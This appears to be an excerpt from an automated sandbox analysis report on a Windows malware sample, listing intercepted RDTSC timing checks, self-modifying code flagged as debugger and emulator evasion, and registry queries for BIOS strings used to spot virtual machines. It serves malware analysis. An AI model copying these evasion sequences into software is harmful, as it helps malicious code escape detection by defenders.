Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 525012F second address: 5250133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5250133 second address: 525014E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4577h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220639 second address: 5220652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov bx, 8C98h 0x00000009 popad 0x0000000a mov dword ptr [esp], ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F028D150D2Ah 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220652 second address: 522069E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 jmp 00007F028C6C456Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F028C6C456Dh 0x00000018 and ch, FFFFFFE6h 0x0000001b jmp 00007F028C6C4571h 0x00000020 popfd 0x00000021 call 00007F028C6C4570h 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 522069E second address: 52206B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028D150D37h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52206B9 second address: 5220700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov dh, 37h 0x0000000e pushfd 0x0000000f jmp 00007F028C6C456Ch 0x00000014 sbb ax, 5618h 0x00000019 jmp 00007F028C6C456Bh 0x0000001e popfd 0x0000001f popad 0x00000020 and dword ptr [eax], 00000000h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F028C6C4575h 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220700 second address: 5220706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220706 second address: 5220748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4573h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax+04h], 00000000h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F028C6C4572h 0x00000018 add al, 00000008h 0x0000001b jmp 00007F028C6C456Bh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52006F4 second address: 5200703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200703 second address: 5200709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200709 second address: 520070D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 520070D second address: 520076F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov al, BEh 0x0000000f mov dx, B0C4h 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007F028C6C456Ah 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F028C6C4570h 0x00000020 mov ebp, esp 0x00000022 jmp 00007F028C6C4570h 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F028C6C4577h 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220192 second address: 52201C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F028D150D35h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52201C1 second address: 52201C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52201C7 second address: 52201CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52201CB second address: 52201CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 522040C second address: 5220412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220412 second address: 5220416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220416 second address: 522041A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 522041A second address: 5220438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F028C6C4573h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220438 second address: 5220476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F028D150D2Fh 0x00000009 or ch, 0000007Eh 0x0000000c jmp 00007F028D150D39h 0x00000011 popfd 0x00000012 mov ah, 95h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5220476 second address: 522047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 522047A second address: 522047E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 522047E second address: 5220484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52406E0 second address: 52406E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52406E6 second address: 52406EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52406EA second address: 524072A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F028D150D36h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F028D150D30h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F028D150D2Ah 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 524072A second address: 5240739 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240739 second address: 5240760 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 24h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b mov ecx, edi 0x0000000d pop ebx 0x0000000e mov di, cx 0x00000011 popad 0x00000012 mov dword ptr [esp], ecx 0x00000015 pushad 0x00000016 mov dx, si 0x00000019 mov ebx, esi 0x0000001b popad 0x0000001c mov eax, dword ptr [778165FCh] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240760 second address: 5240764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240764 second address: 524076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 524076A second address: 52407EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4572h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F028C6C456Eh 0x00000012 adc cx, C0C8h 0x00000017 jmp 00007F028C6C456Bh 0x0000001c popfd 0x0000001d jmp 00007F028C6C4578h 0x00000022 popad 0x00000023 je 00007F02FEC17710h 0x00000029 pushad 0x0000002a jmp 00007F028C6C456Eh 0x0000002f jmp 00007F028C6C4572h 0x00000034 popad 0x00000035 mov ecx, eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52407EC second address: 52407F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52408C6 second address: 5240919 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F028C6C456Fh 0x00000009 xor cx, FA0Eh 0x0000000e jmp 00007F028C6C4579h 0x00000013 popfd 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F028C6C456Ah 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F028C6C456Eh 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240919 second address: 5240944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c push edx 0x0000000d mov cx, 2501h 0x00000011 pop eax 0x00000012 mov ch, bl 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F028D150D30h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240944 second address: 5240948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240948 second address: 524094E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 524094E second address: 524096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F028C6C456Ah 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 524096F second address: 5240973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240973 second address: 5240979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5240979 second address: 524097F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 524097F second address: 5240983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F0015 second address: 51F002F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov bx, BAE0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F028D150D2Bh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F002F second address: 51F0035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F0035 second address: 51F0039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F0039 second address: 51F003D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F003D second address: 51F00EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov ebx, 05802940h 0x00000011 call 00007F028D150D39h 0x00000016 call 00007F028D150D30h 0x0000001b pop ecx 0x0000001c pop edi 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov dl, cl 0x00000023 mov edx, 0A6FB1FCh 0x00000028 popad 0x00000029 and esp, FFFFFFF8h 0x0000002c pushad 0x0000002d pushad 0x0000002e mov di, 3F32h 0x00000032 mov dh, 1Ch 0x00000034 popad 0x00000035 mov eax, 74F4D0FBh 0x0000003a popad 0x0000003b xchg eax, ecx 0x0000003c pushad 0x0000003d call 00007F028D150D2Ch 0x00000042 pop edx 0x00000043 movzx ecx, di 0x00000046 popad 0x00000047 push eax 0x00000048 jmp 00007F028D150D38h 0x0000004d xchg eax, ecx 0x0000004e jmp 00007F028D150D30h 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F028D150D37h 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F00EE second address: 51F00F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F00F4 second address: 51F00F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F00F8 second address: 51F0168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F028C6C456Ch 0x00000010 sub cx, 5B68h 0x00000015 jmp 00007F028C6C456Bh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F028C6C4578h 0x00000021 and ch, FFFFFFC8h 0x00000024 jmp 00007F028C6C456Bh 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push edx 0x00000030 pop esi 0x00000031 call 00007F028C6C4577h 0x00000036 pop ecx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F0168 second address: 51F01B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F028D150D34h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebx, dword ptr [ebp+10h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F028D150D38h 0x00000019 or ecx, 0F4BC4E8h 0x0000001f jmp 00007F028D150D2Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F02BA second address: 51F02C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F02C0 second address: 51F02C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F02C4 second address: 51F02C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F02C8 second address: 51F0337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F02FF6EF081h 0x0000000e jmp 00007F028D150D38h 0x00000013 mov edx, dword ptr [esi+44h] 0x00000016 pushad 0x00000017 mov cx, BBADh 0x0000001b call 00007F028D150D2Ah 0x00000020 call 00007F028D150D32h 0x00000025 pop eax 0x00000026 pop edi 0x00000027 popad 0x00000028 or edx, dword ptr [ebp+0Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 jmp 00007F028D150D39h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F0337 second address: 51F038A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F028C6C4573h 0x00000018 add ah, 0000004Eh 0x0000001b jmp 00007F028C6C4579h 0x00000020 popfd 0x00000021 mov dx, si 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51F038A second address: 51F0442 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F02FF6EF013h 0x0000000f jmp 00007F028D150D2Eh 0x00000014 test byte ptr [esi+48h], 00000001h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F028D150D2Eh 0x0000001f add ecx, 14D35628h 0x00000025 jmp 00007F028D150D2Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F028D150D38h 0x00000031 jmp 00007F028D150D35h 0x00000036 popfd 0x00000037 popad 0x00000038 jne 00007F02FF6EEFC2h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 pushfd 0x00000044 jmp 00007F028D150D39h 0x00000049 or cx, 1E56h 0x0000004e jmp 00007F028D150D31h 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E08D3 second address: 51E0956 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F028C6C456Ch 0x00000008 jmp 00007F028C6C4575h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F028C6C456Eh 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 call 00007F028C6C456Eh 0x0000001e pushfd 0x0000001f jmp 00007F028C6C4572h 0x00000024 and ecx, 1358C388h 0x0000002a jmp 00007F028C6C456Bh 0x0000002f popfd 0x00000030 pop ecx 0x00000031 mov al, dh 0x00000033 popad 0x00000034 push eax 0x00000035 jmp 00007F028C6C456Bh 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E0956 second address: 51E095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E095A second address: 51E0960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E0960 second address: 51E097D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028D150D39h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E097D second address: 51E0981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E0981 second address: 51E0992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E0992 second address: 51E0996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E0996 second address: 51E099A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E099A second address: 51E09A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E09A0 second address: 51E0A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, 00000000h 0x0000000e jmp 00007F028D150D32h 0x00000013 test esi, esi 0x00000015 pushad 0x00000016 mov cl, 33h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushfd 0x0000001c jmp 00007F028D150D2Fh 0x00000021 and esi, 5A69C09Eh 0x00000027 jmp 00007F028D150D39h 0x0000002c popfd 0x0000002d popad 0x0000002e popad 0x0000002f je 00007F02FF6F66BAh 0x00000035 pushad 0x00000036 mov dh, E5h 0x00000038 popad 0x00000039 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000040 pushad 0x00000041 call 00007F028D150D30h 0x00000046 mov edx, eax 0x00000048 pop eax 0x00000049 mov dl, 30h 0x0000004b popad 0x0000004c mov ecx, esi 0x0000004e jmp 00007F028D150D36h 0x00000053 je 00007F02FF6F668Fh 0x00000059 jmp 00007F028D150D30h 0x0000005e test byte ptr [77816968h], 00000002h 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F028D150D37h 0x0000006c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Special instruction interceptor: First address: 9BEAFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Special instruction interceptor: First address: B6050A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Special instruction interceptor: First address: BEA5EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: F1EAFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 10C050A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 114A5EB instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

Code function: 17_2_05260AD3 rdtsc

17_2_05260AD3

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1076	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 7860	Jump to behavior
